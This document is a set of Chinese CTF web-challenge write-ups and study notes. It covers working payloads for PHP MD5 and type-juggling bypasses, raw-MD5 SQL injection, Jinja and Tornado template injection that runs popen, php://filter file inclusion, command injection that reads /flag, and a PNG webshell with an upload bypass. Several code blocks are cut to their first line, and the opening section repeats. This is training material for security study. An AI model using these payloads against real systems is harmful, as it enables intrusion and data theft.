身份信息爆破
题目破解
通过看到界面,我们需要知道学生的学号及密码才能登陆
而后我们看到录取信息及学生学籍信息查询系统,点击录取信息,我们可以得知学生的姓名及身份证的一部分信息,有8个数字隐藏
通过点击学生学籍查询系统,我们可以知道只要输入学生的姓名及身份证就可以得到学生的学号
因此通过这个思路,我们可以爆破这8个数字,而且我们还可以通过身份证的验证来排除一些错误的身份证号码,脚本如下:
1 | card=[] |
通过生成的字典,将其放在burpsuit中跑即可
通过看到界面,我们需要知道学生的学号及密码才能登陆
而后我们看到录取信息及学生学籍信息查询系统,点击录取信息,我们可以得知学生的姓名及身份证的一部分信息,有8个数字隐藏
通过点击学生学籍查询系统,我们可以知道只要输入学生的姓名及身份证就可以得到学生的学号
因此通过这个思路,我们可以爆破这8个数字,而且我们还可以通过身份证的验证来排除一些错误的身份证号码,脚本如下:
1 | card=[] |
通过生成的字典,将其放在burpsuit中跑即可
1 | var_dump(0=='a') |
前者为ture,后者为false。在php中如果在将字符串转换为整型时,前面是数字,后面是字母的字符串,则取字符串的第一个字母前面的数字。
实例:
1 | <?php |
而hash值开头为0E的数有
1 | 以下值在md5加密后以0E开头: |
在php中===表示不仅比较两个数值,而且还要比较两个数值的类型
而在MD5加密中,有一个特性:
1 | md5([1,2,3])==md5([2,3,4])==null |
因此如果传入的数值时数组,并且对传入的数组还要进行md5加密,则会实现绕过
实例
1 | <?php |
虽然两个数值不同,但是经过md5加密后,数值相同,如果是post提交的话,数值要进行urlencode
下面有两个不同数值的md5相同
1 | Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
通过sql注入的尝试,发现不行,就用dirmap扫描,好像也扫不不出什么东西,就用bp抓包,发现了sql语句

通过sql语句中
1 | password="'".md5($pass,TRUE)."'" |
可构造exp
1 | <?php |
可以知道,当输入为ffifdyop,可以得到
1 | password=''or'6É]™é!r,ùíb' |
构造了一句万能语句,从而实现绕过
而后打开页面源码,可以看见一段代码
1 | <!-- |
可知get提交a[]=1&b[]=2,即可实现绕过
而后又得到了一段代码
1 | <?php |
由代码中,我们可以再次使用数组绕过,构造param1[]=1¶m2[]=2,且用post提交
php在查询字符串时,会有两个特性:
1 | 删除空白格 |
如果一个waf对一个变量的内容进行了审计,则如果想绕过waf,可以在变量名前面加空格,这样waf就不会将其作为
它要审计的变量名,但前提是waf不是php写的,题目是php写的
scandir()函数返回指定目录的文件和目录的数组
var_dump()函数显示一个或多个表达式的结构信息,包括表达式的类型和数值
通过查看页面源代码,我们可以知道它有一个waf和一个文件calc.php
我们通过构造/calc.php,得到源代码
1 | <?php |
通过对源代码的审计,发现它对某些字符进行了过滤
因此,由于可以利用php字符串的特性,在num前面加空格绕过waf,并构造payload来查看flag位置
1 | calc.php? num=var_dump(scandir(chr(47))); |
可以看见里面有flagg文件,因此我们可以构造payload
1 | calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
可以得到flag
产生模板注入的原因:是因为没有对用户的输入进行相应的检查,过分相信用户的输入导致的,由于在ssti模板和tornado模板中存在render渲染函数和 template渲染函数,因此当用户输入信息时
render函数和 template函数对输入的信息进行执行,并将结果渲染回页面,此时用户的输入是可控的,而且也没有对输入的信息进行审计,导致可能会出现一些恶意的代码。
对里面的信息进行渲染和返回页面
模板中可能的代码
1 | render($_GET['msg']) |
对输入的信息进行执行并渲染回页面
1 | {{.......}}装载一个变量 |
用空格来知道并调用我们需要的类
查找模板中的类
1 | {{' '._ _class_ _}} |
查找模板类中的基类,一般为object类,有时不止一个基类,可以使用mro来显示所有基类,bases也可以显示所有基类
1 | {{' '._ _class_ _._ _bases_ _}} |
查找模板类中的基类的子类的集合,[0]是所有基类中的第一个基类
1 | {{' '._ _class_ _._ _bases_ _[0]._ _subclasse_ _}} |
查找模板类中的基类的子类的初始类,并用globals全局来查找所有的方法及变量及参数,()[118]是在模板类中的基类的第119个子类,‘popen’是调用模板类中的基类的第119个子类的初始类的function popen中的dir来打开文件
1 | {{' '._ _class_ _._ _bases_ _[0]._ _subclasse_ _()[118]._ _init_ _._ _globals_ _['popen']('dir').read()}} |
实例
1 | http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}} //打开文件并读取 |
使用gititem绕过。
1 | 原poc {{"".class.bases[0]}} |
1 | 原poc{{"".class.bases[0].subclasses()}} |
1 | {{session['__cla'+'ss__'].__mro__[12]}} |
tornado模板注入和以上ssti模板注入类似,不过tornado模板中,存在一些可以快速访问的对象,例如:handler.settings(环境变量)
而cookie_secret就在handler.settings中
是在DTLS握手过程中的生成和需要验证的cookie值
DTLS协议是对广播发送UDP报文的加密,且可以防止中断攻击,以为在建立握手时,客户端会发送client-hello请求,此时服务器会生成一个cookie值放在Hello-Verify-Request报文中,
此时客户端收到后需将收到的cookie值放到client-hello中,并再发送给服务器,服务器收到后对比cookie值,相同才分配资源。
打开网页后看到三个文件,分别时flag.txt、welcome.txt和hint.txt,各自打开文件,发现payload有filename&filehash的get的提交方式,有此可知,需要这两个变量都满足变量才能显示文件的内容
而打开三个文件后发现flag在/flllllllllllag文件下,且有render渲染函数,且知道了filehash的加密方式
此时需要我们找到cookie_secret值,此时我们在filename中输入flllllllllllag,发现报错,且payload为/error?msg=error,因此我们可以使用tornado模板中,存在一些可以快速访问的对象的特性,来构造payload
1 | error?msg={{handler.settings}} |
此时我们得到cookie_secret的值
然后我们构造exp
1 | <?php |
得出fliehash值后代入即可得到flag
是header的一部分,是浏览器告诉服务器网页的从哪里来的
是一个http的扩展头部,用来记录离服务器最远的源ip和中间的代理ip
是用户代理,识别用户使用的操作系统及版本、cpu类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件
通过查看页面源代码可以发现一个文件Secret.php,然后构造payload
/Secret.php
可以得到
因此,我们将referer改为https://www.Sycsecret.com
然后我们得到
我们再将User-Agent里将火狐改为Syclover
我们得到
然后我们在报文结尾加上X-Forward-For: 127.0.0.1
通过看页面源码可以看见一个Archive_room.php的文件,通过构造payload:
1 | /Archive_room.php |
看见一个页面,然后点击select,发现查阅结束

然后再来一次,这次边点击边抓包,而后再将包发送一次发现一个php文件

构造payload:
1 | /secr3t.php |
看见一串源码,并分析源码
1 | <?php |
通过分析,发现它过滤了../和tp和intput和data,且还看见了变量file和include文件包含,因此可以使用
include文件包含和伪协议,构造payload:
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |

就可以得到一串base64编码的数值,然后进行解码即可得到flag
strstr(str1,str2)函数:判断str2是否是str1的子串,如果是则返回从str1字符串中str2第一次出现的位置开始到str1字符串的结尾,不是则返回null
stristr(str1,str2,ture/flase)函数:搜索str2在str1第一次出现的位置,如果是false,则返回第一次出现位置之后的字符串,ture则返回第一次出现位置之前的字符串,默认为flase,搜索不到则返回null
方式:command1;command2
用分号隔开每条命令,并且从左到右的顺序执行命令,彼此之间相互独立,互不干涉。
上一条命令的输出,作为下一条命令的输入,在ctf中:ping 127.0.0.1 | ls (只会执行ls不会执行ping命令)
方式:command1 | command2
利用一个管道
1 | rmp -qa | grep licq //将rmp -qa输出的结果通过管道输送给grep命令 |
rmp -qa是输出系统中所有安装的RPM包,grep licp是查找有licp字符的RPM包
grep命令是查找文件里满足条件的字符串
利用多条管道
1 | cat /ect/passwd | grep /bin/bash | wc -l //将第一个管道的输出(passwd的内容)通过管道输送给第二个管道,将第二管道的输出(passwd内容里有/bin/bash的所有行)通过管道输送给第三个管道,第三个管道通过wc命令统计出输入的行数,并输出 |
wc命令是统计出输入的行数
方式:command 1&
默认情况下,进程是前台进程,这样会占用shell,无法执行其它进程,所以有些没有的进程都希望可以放在后台,所以此时我们在后台的参数后面加上“&”实现这个目的
“&&”和“||”符号满足短路原则。“&&”符号,如果左边为假,则不执行右边,反之,执行右边。而“||”符号,如果左边为真,则不执行右边,反之,执行右边
“&&”格式:command 1 && command 2
“||”格式:command 1 || command 2
判断主机存活
1 | ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 || result=1 |
重定向:>和>>是输出重定向,>是覆盖文件中的原有文件,文件存在,则删除文件并新建文件,并输入数据内容;>>是在原有文件里的内容后面添加,没有文件则创建文件,并添加内容
<是输入重定向
&>是命令的标准正确输出或标准错误输出直接输出到你重定向的文件中
.表示当前用户下的目录,/表示系统的根目录
find / -name filename //查找系统目录下的filename文件
find命令的详细讲解:https://www.cnblogs.com/yorkyang/p/6294894.html
先构造
1 | 127.0.0.1;ls; |
可以看到index.php文件
然后构造
1 | 127.0.0.1 | cat /index.php |
发现一串php代码,通过审计代码发现没有任何过滤
因此构造
1 | 127.0.0.1 | find / -name flag |
可以看到flag在/flag里
所以构造
1 | 127.0.0.1 | cat /flag |
可以通过html来编写上传的表单,如下:
1 | <!DOCTYPE html> |
同时$_FILE[ ][ ]中的两个括号中填的信息的含义
1 | $_FILES数组内容如下: |
可以通过png-IDAT-Payload-Generator制作图片马,这个工具可以在github中找到,直接运行其中的generate.py软件就可以制作了。但是直接运行代码制作的代码的木马是:
1 | <?=$_GET[0]($_POST[1]);?> |
要执行这一个木马,需要get提交0=system,然后再post提交1=ls+/etc就可以访问系统的配置文件
然后我们可以通过CyberChef来对上面中的generate.py文件中的payload部分进行修改,从而制作自己喜欢的一句话木马的图片马

具体可以看:https://blog.csdn.net/jiangdie666/article/details/116997461
如果代码中出现mb_strtolower()这一个php函数的话,它的作用是让字符串变为小写,则可以使用unicode中的一些相似的字符对要过滤的字符进行一个绕过,其中的例子:
1 | 字符i可以使用unicode中的İ进行绕过,其中可以将İ变为url形式为%c4%b0 |
文件可以通过加
1 | #define width 想要的宽度大小 |
来伪造文件的大小,而如果是图片,则将它们放在头部,而如果是zip文件,则可以通过抓包的形式放在文件的尾部
打开网址,可以看见一串代码
1 | <?php |
通过对代码的审计,我们知道?ctf=upload的时候可以上传文件,因此我们可以制造表单进行上传
1 | <!DOCTYPE html> |
而通过代码:
1 | $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']); |
getimagesize()函数是获取图片的尺寸和大小,其中$_FILES[‘postedFile’][‘tmp_name’]是文件上传后服务端存储的临时文件名,因此我们可知需要我们上传图片,同时通过代码:
1 | if ($_FILES['postedFile']['size'] > 1024*512) { |
我们可知我们上传的文件的大小要超过1024512,但是文件的宽要为1,高也要为1,因此可以制造一个图片马,图片马的大小超过1024512,来绕过($_FILES[‘postedFile’][‘size’] > 1024*512),而使用
1 | #define width 1 |
伪造文件的宽和高来绕过$imageinfo[0] !== 1 && $imageinfo[1] !== 1,可以通过抓包将这两条代码放在文件尾部(zip文件一般放在尾部),这是由于通过扫描文件,可以知道还有一个example.php文件,代码为:
1 | <?php |
通过审计代码,可知我们要上传的是zip文件,因此我们需要将图片马文件压缩为zip文件,而后通过构造?ctf=poc对文件进行解压,通过两个文件的代码可知道文件解压到example../image/目录下,因此可以再get提交?ctf=poc的同时,post提交file=../image/a.zip(上传的压缩包名)
然后我们可以get提交0=system,同时post提交1=ls+/etc来访问系统配置文件,最后找到flag文件所在处,用1=cat+/文件路径打开文件进行读取
参考:https://blog.csdn.net/jiangdie666/article/details/116997461
1 | 1. ---version() Mysql的版本 |
1 | 1. ---concat(str1,str2,...) 没有分隔符地连接字符串 |
1 | or 1=1--+ |